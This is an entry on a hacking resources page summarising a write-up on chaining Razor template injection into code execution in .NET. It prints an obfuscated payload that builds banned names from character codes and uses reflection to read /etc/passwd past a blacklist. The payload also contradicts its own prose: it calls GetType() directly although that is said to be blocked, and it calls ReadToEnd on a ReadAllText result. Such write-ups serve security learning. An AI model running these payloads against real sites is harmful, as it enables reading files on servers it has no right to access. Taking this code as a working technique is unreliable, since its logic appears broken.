Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Chaining Razor SSTI into RCE via Reflection and Runtime Strings- 2022

phsiPosted 25 Days Ago
  • Razor is a templating engine used by .NET web applications. You can mix C# code into HTML using @, such as @DateTime.Now. Because of this feature, Razor templates cannot contain user-controlled inputs, as it results in code execution.
  • The author of this post found template injection on a website but was duped by a short four-minute window. After a few months, they decided to look for a bypass. The original PoC they submitted was simple: @System.IO.File.ReadAllText("/etc/passwd"). But, this didn't work now. Why? They made an educated guess of a text-based blacklist. @(4*4) still worked but their original PoC failed.
  • The blacklist had System.IO.File in it. So, they built the string for this one by one with a list of integers in a for loop. By using reflection, it's possible to get the type that you need. Additionally, the function ReadAllText() can be created using reflection as well. At the end, the final payload with a reflected class and function is readAllText.Invoke(null, new[]{ "/etc/passwd" });.
  • GetType() was ALSO in the blacklist. By dynamically finding the method via GetMethods() with reflection and filtering, they were able to create a call that was valid. The final trick was cast restrictions being banned. By using the word dynamic, the static type information is effectively ignored and casting wasn't needed.
  • The full exploit payload:
    @{
        string n = null;
        int[] l = {83,121,115,116,101,109,46,73,79,46,70,105,108,101};
        foreach (int c in l) { n += ((char)c).ToString(); }
    
        var g = typeof(System.Type)
            .GetMethods()
            .First(x => x.Name == new string(new[]{
                (char)71,(char)101,(char)116,(char)84,(char)121,(char)112,(char)101
            }) && x.GetParameters().Length == 1);
    
        var t = g.Invoke(null, new object[]{ n });
    
        string gm = null;
        int[] k = {71,101,116,77,101,116,104,111,100,115};
        foreach (int c in k) { gm += ((char)c).ToString(); }
    
        dynamic ms = t.GetType()
            .GetMethods()
            .First(x => x.Name == gm && x.GetParameters().Length == 0)
            .Invoke(t, null);
    
        var m = ms[0];
    
        string f = null;
        int[] p = {47,101,116,99,47,112,97,115,115,119,100};
        foreach (int c in p) { f += ((char)c).ToString(); }
    
        var sr = m.Invoke(null, new object[]{ f });
        var v = sr.ReadToEnd();
    }@v
    
  • A good lesson in perseverance, the negatives of blacklists, and the benefits of a large amount of freedom within the context of the language. Good writeup!